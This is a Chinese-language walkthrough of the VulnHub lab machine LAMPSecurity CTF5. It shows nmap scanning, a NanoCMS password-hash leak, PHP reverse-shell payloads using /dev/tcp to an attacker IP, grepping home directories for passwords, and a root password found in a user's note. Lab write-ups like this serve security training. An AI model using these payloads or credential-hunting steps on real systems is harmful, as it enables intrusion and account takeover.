vulnhub - LAMPSECURITY: CTF5
信息收集
端口扫描
nmap -sT --min-rate 10000 -p- 192.168.157.164
详细扫描
sudo nmap -sT -sC -sV -O -p22,25,80,110,111,139,143,445,901,3306,44699 192.168.157.164
漏洞探测
sudo nmap --script=vuln p22,25,80,110,111,139,143,445,901,3306,44699 192.168.157.164
给出来很多信息，一会可以都尝试尝试
web渗透
先翻一翻网页
注意到blog页面提到了NanoCMS
搜到了一个RCE，但是需要登入账户
搜了一下发现还有一个密码哈希信息泄露漏洞
访问了一下还真有，泄露了admin的密码
a:12:{s:8:"homepage";s:1:"1";s:10:"links_cats";a:4:{s:7:"sidebar";a:2:{i:0;i:1;i:1;i:4;}s:11:"other-pages";a:0:{}s:14:"top-navigation";a:2:{i:0;s:1:"1";i:1;s:1:"4";}s:12:"Footer-Right";a:2:{i:0;s:1:"1";i:1;s:1:"4";}}s:5:"slugs";a:2:{i:1;s:4:"home";i:4;s:7:"contact";}s:6:"titles";a:2:{i:1;s:4:"Home";i:4;s:7:"Contact";}s:10:"slug_count";i:11;s:8:"settings";a:3:{s:19:"index-last-modified";i:1234513760;s:18:"def-template-areas";a:4:{i:0;s:12:"website name";i:2;s:14:"website slogan";i:3;s:16:"below navigation";i:4;s:16:"copyright notice";}s:18:"def-template-links";a:2:{i:0;s:14:"top-navigation";i:1;s:12:"Footer-Right";}}s:13:"active-tweaks";a:2:{i:0;s:7:"deutsch";i:1;s:19:"language-pack-tweak";}s:11:"lang-select";s:7:"english";s:6:"seourl";s:1:"0";s:8:"username";s:5:"admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";s:7:"version";s:4:"v_4f";}
成功获得密码shannon
可以登录，但是网页加载缓慢
这里不知道什么缘故我的本地浏览器一直登不上，kali内的浏览器可以
找到代码执行位置反弹shell
<?php system("bash -i > /dev/tcp/192.168.157.161/7777 0>&1");?>
或
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.157.161/7777 0>&1'"); ?>
保存后回到blog首页点击home触发
这里也能看出两种shell的区别
提权
cat /etc/passwd
主要关注以下用户
patrick:x:500:500:Patrick Fair:/home/patrick:/bin/bash
jennifer:x:501:501:Jennifer Sea:/home/jennifer:/bin/bash
andy:x:502:502:Andrew Carp:/home/andy:/bin/bash
loren:x:503:503:Loren Felt:/home/loren:/bin/bash
amy:x:504:504:Amy Pendelton:/home/amy:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash
搜索记录
grep -R -i pass /home/* 2>/dev/null
查看可疑文件
bash-3.2$ cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
<?xml version="1.0" encoding="utf-8"?>
<note version="0.2" xmlns:link="http://beatniksoftware.com/tomboy/link" xmlns:size="http://beatniksoftware.com/tomboy/size" xmlns="http://beatniksoftware.com/tomboy">
<title>Root password</title>
<text xml:space="preserve"><note-content version="0.1">Root password
Root password
50$cent</note-content></text>
<last-change-date>2012-12-05T07:24:52.7364970-05:00</last-change-date>
<create-date>2012-12-05T07:24:34.3731780-05:00</create-date>
<cursor-position>15</cursor-position>
<width>450</width>
<height>360</height>
<x>0</x>
<y>0</y>
<open-on-startup>False</open-on-startup>
</note>
50$cent应该就是root的密码，提升为tty后登入root
python -c "import pty;pty.spawn('/bin/sh')"
